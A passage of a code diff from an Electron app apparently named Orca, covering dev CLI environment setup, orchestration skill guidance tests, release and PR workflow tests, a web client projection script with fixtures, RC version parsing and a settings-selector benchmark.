'\nThis runs on the global store subscriber, so the cost is paid per status ping\nand scales with the number of agents running in parallel — the workload this\napp exists for.'
)
+2
View File
@@ -25,6 +25,7 @@ describe('orca-dev package bin', () => {
`fs.writeFileSync(${JSON.stringify(outputPath)}, JSON.stringify({`,
' argv: process.argv.slice(2),',
' userDataPath: process.env.ORCA_USER_DATA_PATH,',
' devCliInvocation: process.env.ORCA_DEV_CLI_INVOCATION,',
' appExecutable: process.env.ORCA_APP_EXECUTABLE',
'}));'
].join('\n'),
@@ -47,6 +48,7 @@ describe('orca-dev package bin', () => {
expect(JSON.parse(readFileSync(outputPath, 'utf8'))).toEqual({
argv: ['--help'],
userDataPath: path.join(root, 'user-data'),
devCliInvocation: '1',
appExecutable: path.join(root, 'Electron')
})
})
+10
View File
@@ -3,6 +3,7 @@
import { spawnSync } from 'node:child_process'
import { accessSync, constants, existsSync, realpathSync, statSync } from 'node:fs'
import path from 'node:path'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
const scriptPath = realpathSync(import.meta.filename)
const scriptDir = path.dirname(scriptPath)
@@ -16,6 +17,8 @@ if (!existsSync(cliEntry)) {
}
process.env.ORCA_USER_DATA_PATH = process.env.ORCA_DEV_USER_DATA_PATH ?? getDefaultDevUserDataPath()
// Why: custom dev profiles do not necessarily contain "orca-dev" in their path; carry explicit provenance into the CLI.
process.env.ORCA_DEV_CLI_INVOCATION = '1'
const electronExecutable = getElectronExecutable()
if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
@@ -23,6 +26,13 @@ if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
process.env.ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT = '1'
}
// Why: headless `orca-dev serve` skips the Electron dev runner that normally installs terminal CLI shims.
prepareDevCliTerminalWrappers({
repoRoot,
userDataPath: process.env.ORCA_USER_DATA_PATH,
electronExecutable: process.env.ORCA_APP_EXECUTABLE ?? electronExecutable
})
const result = spawnSync(process.execPath, [cliEntry, ...process.argv.slice(2)], {
stdio: 'inherit',
env: process.env
@@ -29,10 +29,14 @@ describe('orchestration skill guidance', () => {
const skill = readSkill()
const toolBoundary = getSection(skill, 'Tool Boundary')
expect(toolBoundary).toContain(
'must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject`'
expect(toolBoundary).toContain('must create or bind a Run')
expect(toolBoundary).toContain('create the Task with `orca orchestration task-create`')
expect(toolBoundary).toContain('preferred `orca orchestration worker-start` composition')
expect(toolBoundary).toContain('low-level `orca orchestration dispatch --inject` path')
expect(toolBoundary).not.toContain('or `orca orchestration run`')
expect(skill).toContain(
'`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands'
)
expect(toolBoundary).toContain('or `orca orchestration run`')
expect(toolBoundary).toContain(
'Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features'
)
@@ -47,6 +51,20 @@ describe('orchestration skill guidance', () => {
)
})
it('teaches the hard cutover without reviving a legacy executor', () => {
const skill = readSkill()
const migration = getSection(skill, 'Contract Migration')
expect(migration).toContain('hard cutover')
expect(migration).toContain('effectsApplied')
expect(migration).toContain('skills get orchestration --full')
expect(migration).toContain('Do not retry the rejected command unchanged')
expect(migration).toContain('no longer supervised')
expect(migration).toContain('task-list --run run_legacy_local')
expect(migration).toContain('Read-only inspection never consumes legacy mail')
expect(migration).toContain('does not run a legacy scheduler, translate old writes, or drain')
})
it('treats long-running worker waits as liveness checkpoints, not failures', () => {
const skill = readSkill()
@@ -213,13 +231,13 @@ describe('orchestration skill guidance', () => {
const messaging = getSection(skill, 'Messaging')
const workerTerminals = getSection(skill, 'Worker Terminals')
const agentFirstExample = workerTerminals.match(
/```bash\norca worktree create --name <task-name> --agent codex --json\n[\s\S]*?```/
/```bash\norca worktree create --name <task-name> --agent codex --setup run --json\n[\s\S]*?```/
)?.[0]
expect(workerTerminals).toContain('For an allowed new worktree, use agent-first:')
expect(workerTerminals).toContain('fallback shell + agent pair')
expect(workerTerminals).toContain(
'Repo setup or default-terminal settings may still add tabs or splits'
'repo setup and default-terminal settings may add intentional tabs or splits'
)
expect(workerTerminals).toContain('without configured default tabs')
expect(workerTerminals).toContain(
@@ -229,12 +247,11 @@ describe('orchestration skill guidance', () => {
expect(workerTerminals).not.toContain('ends with **one** agent tab')
expect(agentFirstExample).toBeDefined()
expect(agentFirstExample).not.toContain('orca terminal list')
expect(agentFirstExample).toContain('agentTerminalHandle')
expect(agentFirstExample).toContain('startupTerminal.handle')
expect(messaging).toContain(
'Use `startupTerminal.handle` from the create response when present'
)
expect(messaging).toContain('continue with the replacement only')
expect(messaging).toContain('it does not remotely wake another terminal')
expect(messaging).toContain('Prefer `agentTerminalHandle` from the create response')
expect(messaging).toContain('Continue with the replacement handle only')
expect(messaging).toContain('never writes to terminal input or remotely wakes another terminal')
expect(messaging).toContain('Use `orchestration dispatch --inject` to deliver a tracked task')
})
})
@@ -433,7 +433,7 @@ describe('Electron runtime package contract', () => {
expect(afterInstallScript).not.toContain('chmod 0755 "$sandbox"')
})
it('keeps release-cut version commits skill-independent and taggable on retries', () => {
it('advances only the skill release ledger in a taggable release-cut commit', () => {
const releaseWorkflow = readFileSync(
join(projectDir, '.github/workflows/release-cut.yml'),
'utf8'
@@ -447,13 +447,30 @@ describe('Electron runtime package contract', () => {
const bumpIndex = bumpStep.run.indexOf(
'npm version "$VERSION" --no-git-tag-version --allow-same-version'
)
const stageIndex = bumpStep.run.indexOf('git add package.json')
const generateIndex = bumpStep.run.indexOf(
'node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"'
)
const commands = bumpStep.run.replace(/^\s*#.*$/gm, '')
// Unanchored: a `git add` chained after `&&` stages just as effectively.
const stagedPaths = [...commands.matchAll(/\bgit add (.+)$/gm)].flatMap((match) =>
match[1].trim().split(/\s+/)
)
// Quotes trimmed and deduped: the index guard names the row a second time.
const mentioned = new Set(commands.match(/resources[/\\]skills[^\s'"]*/g))
expect(checkoutStep.with['fetch-depth']).toBe(0)
expect(bumpIndex).toBeGreaterThanOrEqual(0)
expect(stageIndex).toBeGreaterThan(bumpIndex)
// Why: version-only cuts must not mutate content-addressed skill artifacts.
expect(bumpStep.run).not.toContain('generate-skill-bundle-manifest')
expect(bumpStep.run).not.toContain('resources/skills')
// Why: the cut is the only point that advances the release ledger, so this
// tag's revision is never rebuilt later — it appends that row, nothing else.
expect(generateIndex).toBeGreaterThan(bumpIndex)
expect(bumpStep.run.indexOf('git add package.json')).toBeGreaterThan(generateIndex)
expect(stagedPaths).toEqual(['package.json', 'resources/skills/release-mapping.json'])
// Every distinct mention must be staged, so a copy, a redirect, or a path
// held in a variable cannot reach the content-addressed artifacts. Matched
// without a trailing slash so `dir="resources/skills"` still counts.
expect([...mentioned]).toEqual(stagedPaths.slice(1))
// Regeneration is banned job-wide by the generator suite. Here: `-a`, `-am`,
// and `--all` sweep unstaged artifacts in; `--allow-empty` below must not.
expect(commands).not.toMatch(/\bcommit\b[^\n]*(?:\s-[a-z]*a[a-z]*\b|\s--all\b)/)
expect(bumpStep.run).toContain('git diff --cached --quiet')
expect(bumpStep.run).toContain('git commit --allow-empty -m "$commit_message"')
})
@@ -510,7 +527,7 @@ describe('Electron runtime package contract', () => {
it('installs the Electron package binary in PR checks without changing native module ABI', () => {
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
const parsedWorkflow = parse(prWorkflow)
const installStep = parsedWorkflow.jobs.verify.steps.find(
const installStep = parsedWorkflow.jobs.test.steps.find(
(step) => step.name === 'Install Electron package binary for tests'
)
@@ -520,7 +537,7 @@ describe('Electron runtime package contract', () => {
it('smokes the packaged CLI from outside the checkout in PR checks', () => {
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
const parsedWorkflow = parse(prWorkflow)
const smokeStep = parsedWorkflow.jobs.verify.steps.find(
const smokeStep = parsedWorkflow.jobs.package.steps.find(
(step) => step.name === 'Smoke packaged CLI'
)
@@ -0,0 +1,87 @@
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import type { Plugin, Rollup } from 'vite'
import { afterEach, describe, expect, it } from 'vitest'
import { createPlainNodeEntryGuardPlugin } from '../../build-plugins/plain-node-entry-guard'
let outputDir: string | undefined
afterEach(() => {
if (outputDir) {
rmSync(outputDir, { recursive: true, force: true })
outputDir = undefined
}
})
function createOutputDir(): string {
outputDir = mkdtempSync(join(tmpdir(), 'orca-plain-node-entry-guard-'))
return outputDir
}
function createBundle(code = ''): Rollup.OutputBundle {
return {
'daemon-entry.js': {
type: 'chunk',
code,
dynamicImports: [],
fileName: 'daemon-entry.js',
imports: [],
isEntry: true,
name: 'daemon-entry'
} as Rollup.OutputChunk
}
}
function runWriteBundle(plugin: Plugin, dir: string, code = ''): void {
const hook = plugin.writeBundle
if (typeof hook !== 'function') {
throw new Error('Expected writeBundle hook')
}
hook.call(
{ meta: { watchMode: false } } as never,
{ dir } as Rollup.NormalizedOutputOptions,
createBundle(code)
)
}
function runCloseBundle(plugin: Plugin): void {
const hook = plugin.closeBundle
if (typeof hook !== 'function') {
throw new Error('Expected closeBundle hook')
}
hook.call({} as never)
}
describe('plain Node entry guard', () => {
it('smoke-loads the daemon after output files are written', () => {
const dir = createOutputDir()
const plugin = createPlainNodeEntryGuardPlugin()
expect(() => runWriteBundle(plugin, dir)).not.toThrow()
writeFileSync(
join(dir, 'daemon-entry.js'),
'console.error("Usage: daemon-entry <socket>"); process.exit(1)\n'
)
expect(() => runCloseBundle(plugin)).not.toThrow()
})
it('runs the deferred smoke from closeBundle', () => {
const dir = createOutputDir()
const plugin = createPlainNodeEntryGuardPlugin()
runWriteBundle(plugin, dir)
writeFileSync(join(dir, 'daemon-entry.js'), "require('./missing-module')\n")
expect(() => runCloseBundle(plugin)).toThrow('failed to load under plain Node')
})
it('rejects Electron imports during the static bundle scan', () => {
const plugin = createPlainNodeEntryGuardPlugin()
expect(() => runWriteBundle(plugin, createOutputDir(), 'require("electron")')).toThrow(
'requires electron'
)
})
})
@@ -0,0 +1,171 @@
import { globSync, readFileSync } from 'node:fs'
import { parse } from 'yaml'
import { describe, expect, it } from 'vitest'
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
const dependencyAction = parse(
readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
)
const packageJson = JSON.parse(readFileSync('package.json', 'utf8'))
const shellContractFiles = [
'src/main/daemon/shell-ready.test.ts',
'src/main/providers/local-pty-shell-ready.test.ts',
'src/main/providers/__tests__/shell-ready-framework-example.test.ts',
'src/shared/posix-command-path-lookup.test.ts'
]
const patchedNodePtyContractFiles = [
'src/main/daemon/node-pty-fd-leak.test.ts',
'src/main/pty/omp-shell-wrapper.node-pty.test.ts'
]
const nativeShellContractFiles = [...shellContractFiles, ...patchedNodePtyContractFiles]
const testFilePatterns = [
'config/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'src/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'tests/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'tools/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}'
]
const realZshUsage =
/(?:spawnSync|execFileSync|spawn)\(\s*['"](?:\/(?:usr\/)?bin\/)?zsh['"]|spawnSync\(\s*['"]which['"]\s*,\s*\[\s*['"]zsh['"]|name:\s*['"]zsh['"]\s*,\s*path:\s*executablePath/
describe('PR workflow parallelism', () => {
it('cancels superseded runs for the same pull request', () => {
expect(workflow.concurrency.group).toBe('pr-checks-${{ github.event.pull_request.number }}')
expect(workflow.concurrency['cancel-in-progress']).toBe(true)
})
it('grants the PR workflow read-only repository access', () => {
expect(workflow.permissions).toEqual({ contents: 'read' })
})
it('shards the general test suite across sixteen runners', () => {
expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
Array.from({ length: 16 }, (_, index) => index + 1)
)
const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ strategy.job-total }}')
for (const testFile of nativeShellContractFiles) {
expect(testStep.run).toContain(`--exclude=${testFile}`)
}
})
it('runs real-zsh coverage once outside the general shards', () => {
const shellStep = workflow.jobs.shell_contracts.steps.find(
(step) => step.name === 'Test real shell contracts'
)
const shellInstall = workflow.jobs.shell_contracts.steps.find(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
expect(workflow.jobs.test.steps.some((step) => step.name === 'Install zsh')).toBe(false)
expect(workflow.jobs.shell_contracts.steps.some((step) => step.name === 'Install zsh')).toBe(
true
)
expect(shellInstall.with['native-runtime']).toBe('node')
for (const testFile of nativeShellContractFiles) {
expect(shellStep.run).toContain(testFile)
}
})
it('keeps every real-zsh test in the dedicated shell lane', () => {
const discoveredFiles = globSync(testFilePatterns)
.filter((testFile) => realZshUsage.test(readFileSync(testFile, 'utf8')))
.sort()
expect(discoveredFiles).toEqual([...shellContractFiles].sort())
})
it('overlaps bundles with independent output directories', () => {
const buildStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Build package inputs'
)
expect(buildStep.run).toContain('scripts=(build:relay build:electron-vite:parallel)')
expect(buildStep.run).toContain('pnpm run "$script" &')
expect(
workflow.jobs.package.steps.find(
(step) => step.name === 'Project web client from renderer build'
).run
).toBe('pnpm run build:web-from-renderer')
expect(packageJson.scripts['build:desktop']).toContain('pnpm run build:web-from-renderer')
expect(packageJson.scripts['build:release']).toContain('pnpm run build:web-from-renderer')
})
it('restores the pnpm store before dependency installation', () => {
const steps = dependencyAction.runs.steps
const pnpmIndex = steps.findIndex((step) => step.name === 'Setup pnpm')
const nodeIndex = steps.findIndex((step) => step.name === 'Setup Node.js')
expect(pnpmIndex).toBeLessThan(nodeIndex)
expect(steps[nodeIndex].with.cache).toBe('pnpm')
})
it('restores Electron downloads before preparing the package runtime', () => {
const steps = workflow.jobs.package.steps
const cacheIndex = steps.findIndex((step) => step.name === 'Cache electron-builder downloads')
const installIndex = steps.findIndex(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
expect(cacheIndex).toBeGreaterThanOrEqual(0)
expect(installIndex).toBeGreaterThanOrEqual(0)
expect(cacheIndex).toBeLessThan(installIndex)
})
it('prepares each native runtime before its consumers start', () => {
const installFor = (jobName) =>
workflow.jobs[jobName].steps.find(
(step) => step.uses === './.github/actions/install-node-dependencies'
)
for (const jobName of ['static_analysis', 'typecheck', 'git_compatibility']) {
expect(installFor(jobName).with, jobName).toBeUndefined()
}
expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
expect(installFor('test').with['native-runtime']).toBe('node')
expect(installFor('package').with['native-runtime']).toBe('electron')
expect(
dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
).toBe("inputs.native-runtime != 'none'")
const dependencyInstall = dependencyAction.runs.steps.find(
(step) => step.name === 'Install dependencies'
)
expect(dependencyInstall.run).toContain('--no-frozen-lockfile')
expect(dependencyInstall.run).toContain('--ignore-scripts')
expect(dependencyInstall.run).not.toContain('--os=')
expect(dependencyInstall.run).not.toContain('--cpu=')
expect(packageJson.pnpm.supportedArchitectures.os).toEqual(
expect.arrayContaining(['current', 'win32'])
)
expect(packageJson.pnpm.supportedArchitectures.cpu).toContain('current')
const prepareRuntime = dependencyAction.runs.steps.find(
(step) => step.name === 'Prepare native runtime'
)
expect(prepareRuntime.if).toBe("inputs.native-runtime != 'none'")
expect(prepareRuntime.run).toContain('ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"')
})
it('reuses native preparation after the dependency action gate', () => {
const buildStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Build package inputs'
)
const packageStep = workflow.jobs.package.steps.find(
(step) => step.name === 'Package unpacked app'
)
expect(buildStep.run).not.toContain('ensure:electron-runtime')
expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
})
it('keeps verify as the aggregate required check', () => {
expect(workflow.jobs.verify.needs).toEqual([
'static_analysis',
'typecheck',
'git_compatibility',
'shell_contracts',
'test',
'package'
])
})
})
@@ -0,0 +1,165 @@
import {
cpSync,
mkdirSync,
readFileSync,
readdirSync,
renameSync,
rmSync,
statSync,
writeFileSync
} from 'node:fs'
import { dirname, join, posix, resolve, sep } from 'node:path'
import { transform } from 'esbuild'
const rendererOutput = resolve('out/renderer')
const webOutput = resolve('out/web')
const stagingOutput = resolve(dirname(webOutput), `.web-projection-${process.pid}`)
const manifestPath = join(rendererOutput, '.vite', 'manifest.json')
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
const selectedFiles = new Set(['web-index.html'])
const visitedEntries = new Set()
function assertEntryIsolation() {
const entryKeys = new Set(
Object.entries(manifest)
.filter(([, entry]) => entry?.isEntry === true)
.map(([key]) => key)
)
for (const sourceEntry of entryKeys) {
const visited = new Set()
const pending = [sourceEntry]
while (pending.length > 0) {
const key = pending.pop()
if (visited.has(key)) {
continue
}
visited.add(key)
const entry = manifest[key]
if (!entry || typeof entry !== 'object') {
throw new Error(`Renderer manifest is missing entry: ${key}`)
}
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
if (entryKeys.has(dependency) && dependency !== sourceEntry) {
throw new Error(`Renderer entry ${sourceEntry} executes entry ${dependency}`)
}
pending.push(dependency)
}
}
}
}
function addOutputPath(outputPath) {
if (
typeof outputPath !== 'string' ||
outputPath.length === 0 ||
outputPath.startsWith('/') ||
/^[A-Za-z]:/.test(outputPath) ||
outputPath.includes('\\') ||
outputPath.split('/').includes('..')
) {
throw new Error(`Invalid renderer output path: ${String(outputPath)}`)
}
selectedFiles.add(outputPath)
}
function visitManifestEntry(key) {
if (visitedEntries.has(key)) {
return
}
visitedEntries.add(key)
const entry = manifest[key]
if (!entry || typeof entry !== 'object') {
throw new Error(`Renderer manifest is missing entry: ${key}`)
}
addOutputPath(entry.file)
for (const outputPath of [...(entry.css ?? []), ...(entry.assets ?? [])]) {
addOutputPath(outputPath)
}
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
visitManifestEntry(dependency)
}
}
function listOutputFiles(directory, prefix = '') {
return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
const outputPath = prefix ? join(prefix, entry.name) : entry.name
return entry.isDirectory()
? listOutputFiles(join(directory, entry.name), outputPath)
: [outputPath.split(sep).join('/')]
})
}
function includeReferencedOutputs() {
const candidates = listOutputFiles(rendererOutput).filter(
(outputPath) => !outputPath.startsWith('.vite/') && !outputPath.endsWith('.html')
)
let foundReference = true
while (foundReference) {
foundReference = false
for (const selectedFile of selectedFiles) {
if (!/\.(?:css|html|m?js|svg)$/.test(selectedFile)) {
continue
}
const contents = readFileSync(join(rendererOutput, selectedFile), 'utf8')
for (const candidate of candidates) {
if (selectedFiles.has(candidate)) {
continue
}
const localReference = posix.relative(posix.dirname(selectedFile), candidate)
if (contents.includes(candidate) || contents.includes(localReference)) {
selectedFiles.add(candidate)
foundReference = true
}
}
}
}
}
async function minifyWebOutput() {
await Promise.all(
[...selectedFiles]
.filter((outputPath) => /\.(?:css|m?js)$/.test(outputPath))
.map(async (outputPath) => {
const targetPath = join(stagingOutput, outputPath)
const loader = outputPath.endsWith('.css') ? 'css' : 'js'
const result = await transform(readFileSync(targetPath, 'utf8'), {
legalComments: 'none',
loader,
minify: true,
target: 'es2020'
})
writeFileSync(targetPath, result.code)
})
)
}
assertEntryIsolation()
visitManifestEntry('web-index.html')
includeReferencedOutputs()
rmSync(stagingOutput, { force: true, recursive: true })
try {
for (const outputPath of selectedFiles) {
const targetPath = join(stagingOutput, outputPath)
mkdirSync(dirname(targetPath), { recursive: true })
cpSync(join(rendererOutput, outputPath), targetPath)
}
await minifyWebOutput()
rmSync(webOutput, { force: true, recursive: true })
renameSync(stagingOutput, webOutput)
} finally {
rmSync(stagingOutput, { force: true, recursive: true })
}
const outputBytes = [...selectedFiles].reduce(
(total, outputPath) => total + statSync(join(webOutput, outputPath)).size,
0
)
console.log(
`Projected web client: ${selectedFiles.size} files, ${(outputBytes / 1024 / 1024).toFixed(1)} MiB`
)
@@ -0,0 +1,117 @@
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { dirname, join, resolve } from 'node:path'
import { spawnSync } from 'node:child_process'
import { afterEach, describe, expect, it } from 'vitest'
const scriptPath = resolve('config/scripts/project-renderer-web-client.mjs')
const temporaryRoots = []
function writeFixtureFile(root, relativePath, contents) {
const targetPath = join(root, relativePath)
mkdirSync(dirname(targetPath), { recursive: true })
writeFileSync(targetPath, contents)
}
function createRendererFixture() {
const root = mkdtempSync(join(tmpdir(), 'orca-web-projection-'))
temporaryRoots.push(root)
const manifest = {
'web-index.html': {
file: 'assets/web-entry.js',
isEntry: true,
imports: ['_web-shared.js'],
dynamicImports: ['src/lazy.ts']
},
'_web-shared.js': {
file: 'assets/web-shared.js',
css: ['assets/web.css'],
assets: ['assets/logo.png']
},
'src/lazy.ts': { file: 'assets/lazy.js' },
'index.html': { file: 'assets/desktop-entry.js', isEntry: true }
}
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', JSON.stringify(manifest))
writeFixtureFile(
root,
'out/renderer/web-index.html',
'<script type="module" src="./assets/web-entry.js"></script>'
)
writeFixtureFile(
root,
'out/renderer/assets/web-entry.js',
'import "./web-shared.js"; new Worker(new URL("editor.worker-fixture.js", import.meta.url));'
)
writeFixtureFile(root, 'out/renderer/assets/web-shared.js', 'export const value = 1;')
writeFixtureFile(root, 'out/renderer/assets/lazy.js', 'export const lazyValue = true;')
writeFixtureFile(root, 'out/renderer/assets/web.css', '.root { color: red; }')
writeFixtureFile(root, 'out/renderer/assets/logo.png', 'fixture-logo')
writeFixtureFile(
root,
'out/renderer/assets/editor.worker-fixture.js',
'self.onmessage = function (event) { self.postMessage(event.data) }'
)
writeFixtureFile(root, 'out/renderer/assets/desktop-entry.js', 'export const desktop = true;')
writeFixtureFile(root, 'out/web/stale.js', 'stale')
return root
}
afterEach(() => {
for (const root of temporaryRoots.splice(0)) {
rmSync(root, { force: true, recursive: true })
}
})
describe('renderer web client projection', () => {
it('keeps the build-only manifest out of packaged apps', () => {
const builderConfig = readFileSync(resolve('config/electron-builder.config.cjs'), 'utf8')
expect(builderConfig).toContain("'!out/renderer/.vite{,/**/*}'")
})
it('copies and minifies only the web dependency closure', () => {
const root = createRendererFixture()
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status, result.stderr).toBe(0)
expect(result.stdout).toContain('Projected web client: 7 files')
expect(existsSync(join(root, 'out/web/web-index.html'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/editor.worker-fixture.js'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/logo.png'))).toBe(true)
expect(existsSync(join(root, 'out/web/assets/desktop-entry.js'))).toBe(false)
expect(existsSync(join(root, 'out/web/stale.js'))).toBe(false)
expect(readFileSync(join(root, 'out/web/assets/web.css'), 'utf8')).toBe('.root{color:red}\n')
})
it('fails when the renderer manifest omits the web entry', () => {
const root = createRendererFixture()
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', '{}')
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain('Renderer manifest is missing entry: web-index.html')
})
it('rejects renderer entries that execute another entry root', () => {
const root = createRendererFixture()
const manifestPath = join(root, 'out/renderer/.vite/manifest.json')
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
manifest['web-index.html'].dynamicImports.push('index.html')
writeFileSync(manifestPath, JSON.stringify(manifest))
const result = spawnSync(process.execPath, [scriptPath], {
cwd: root,
encoding: 'utf8'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain('Renderer entry web-index.html executes entry index.html')
})
})
+6 -1
View File
@@ -38,7 +38,12 @@ export function rcNumberFromReleaseSubject(base, subject) {
return null
}
const match = /^(\d+)(?:\s|$)/.exec(subject.slice(prefix.length))
// Why the same optional .identifier as the tag form: the commit subject is
// the only record left once a tag is deleted, and that is exactly when the
// explicit-version gate leans on this. Without it, deleting a
// v1.2.3-rc.4.perf tag drops the series back to rc.3 and an explicit
// 1.2.3-rc.4 is waved through — below what perf-channel clients already run.
const match = /^(\d+)(?:\.[0-9A-Za-z]+)?(?:\s|$)/.exec(subject.slice(prefix.length))
return match ? Number(match[1]) : null
}
@@ -53,6 +53,29 @@ describe('release RC history', () => {
expect(rcNumberFromReleaseSubject('1.4.36', 'fix: v1.4.36-rc.6')).toBeNull()
})
it('counts a suffixed side-branch RC from its subject as well as its tag', () => {
expect(rcNumberFromTag('1.4.36', 'v1.4.36-rc.6.perf')).toBe(6)
expect(rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf')).toBe(6)
expect(
rcNumberFromReleaseSubject('1.4.36', 'release: v1.4.36-rc.6.perf [rc-slot:2026-05-30-03]')
).toBe(6)
})
it('keeps a suffixed RC counted once its tag is deleted', () => {
withGitRepo((repo) => {
commit(repo, 'initial')
commit(repo, 'release: v1.4.36-rc.5')
git(repo, ['tag', 'v1.4.36-rc.5'])
// Why this case: the subject is the only record left after the tag goes,
// and that is precisely when release-cut's explicit-version gate reads
// this. Under-reporting rc.6 here lets an explicit 1.4.36-rc.6 cut land
// below the v1.4.36-rc.6.perf build that clients already run.
commit(repo, 'release: v1.4.36-rc.6.perf')
expect(highestRcForBase('1.4.36', { cwd: repo })).toBe(6)
})
})
it('keeps RC numbers monotonic after a stale tag is deleted', () => {
withGitRepo((repo) => {
commit(repo, 'initial')
@@ -0,0 +1,207 @@
#!/usr/bin/env node
// Benchmark: cost of the owner-routed settings selector per store write.
//
// getSettingsForRepoRuntimeOwner() is called from useShallow selectors at ~43
// sites across PullRequestPage and TaskPage. Zustand re-runs every subscribed
// selector on every store write, so before the fix each unrelated write
// allocated one settings-sized object per row and then shallow-compared every
// field to conclude nothing had changed.
//
// The fix caches by repo id and reuses the reference while the settings object,
// repo list, and resolved owner are unchanged, so useShallow's equality check
// short-circuits on Object.is.
//
// The selector body is mirrored here (node cannot import the .ts source, matching
// the sibling benchmarks). The settings field count is read from the real
// GlobalSettings type so a drifted shape fails loudly instead of flattering the
// result with a stale, smaller object.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const TYPES_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/types.ts', import.meta.url)),
'utf8'
)
function countGlobalSettingsFields(source) {
const block = source.match(/export type GlobalSettings = \{([\s\S]*?)\n\}/)
if (!block) {
throw new Error('types.ts no longer declares GlobalSettings in the expected shape')
}
const fields = block[1].match(/^\s{2}\w+\??:/gm) ?? []
if (fields.length < 50) {
throw new Error(`GlobalSettings parsed as only ${fields.length} fields; re-sync this benchmark`)
}
return fields.length
}
const SETTINGS_FIELDS = countGlobalSettingsFields(TYPES_SOURCE)
const ROWS = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_ROWS ?? '43', 10)
const WRITES = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WRITES ?? '2000', 10)
const WARMUP = Number.parseInt(process.env.ORCA_OWNER_SETTINGS_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_OWNER_SETTINGS_BENCH_ROWS', ROWS],
['ORCA_OWNER_SETTINGS_BENCH_WRITES', WRITES],
['ORCA_OWNER_SETTINGS_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function makeSettings() {
const settings = { activeRuntimeEnvironmentId: 'focused-runtime' }
for (let index = 0; index < SETTINGS_FIELDS - 1; index += 1) {
settings[`field${index}`] = index % 3 === 0 ? `value-${index}` : index % 3 === 1 ? index : true
}
return settings
}
function makeRepos(rows) {
return Array.from({ length: rows }, (_value, index) => ({
id: `repo-${index}`,
connectionId: null,
executionHostId: `runtime:env-${index % 4}`
}))
}
function resolveEnvironmentId(state, repoId) {
if (!repoId) {
return null
}
const matching = state.repos.filter((entry) => entry.id === repoId)
const repo = matching.length === 1 ? matching[0] : null
const hasOwner = Boolean(repo?.executionHostId?.trim() || repo?.connectionId?.trim())
if (repo && hasOwner) {
const hostId = repo.executionHostId ?? ''
return hostId.startsWith('runtime:') ? hostId.slice('runtime:'.length) : null
}
return state.settings?.activeRuntimeEnvironmentId?.trim() || null
}
// Pre-fix: a fresh object every call.
function selectorBefore(state, repoId) {
return { ...state.settings, activeRuntimeEnvironmentId: resolveEnvironmentId(state, repoId) }
}
// Post-fix: reuse the reference while nothing it derives from changed.
function makeCachedSelector() {
const cache = new Map()
return (state, repoId) => {
const environmentId = resolveEnvironmentId(state, repoId)
const cacheKey = repoId ?? ''
const cached = cache.get(cacheKey)
if (
cached &&
cached.settingsSource === state.settings &&
cached.reposSource === state.repos &&
cached.environmentId === environmentId
) {
return cached.value
}
const value = { ...state.settings, activeRuntimeEnvironmentId: environmentId }
cache.set(cacheKey, {
settingsSource: state.settings,
reposSource: state.repos,
environmentId,
value
})
if (cache.size > 256) {
const oldest = cache.keys().next()
if (!oldest.done) {
cache.delete(oldest.value)
}
}
return value
}
}
// Mirror of zustand's useShallow comparison.
function shallowEqual(a, b) {
if (Object.is(a, b)) {
return true
}
if (a === null || b === null || a === undefined || b === undefined) {
return false
}
const keysA = Object.keys(a)
const keysB = Object.keys(b)
if (keysA.length !== keysB.length) {
return false
}
for (const key of keysA) {
if (!Object.is(a[key], b[key])) {
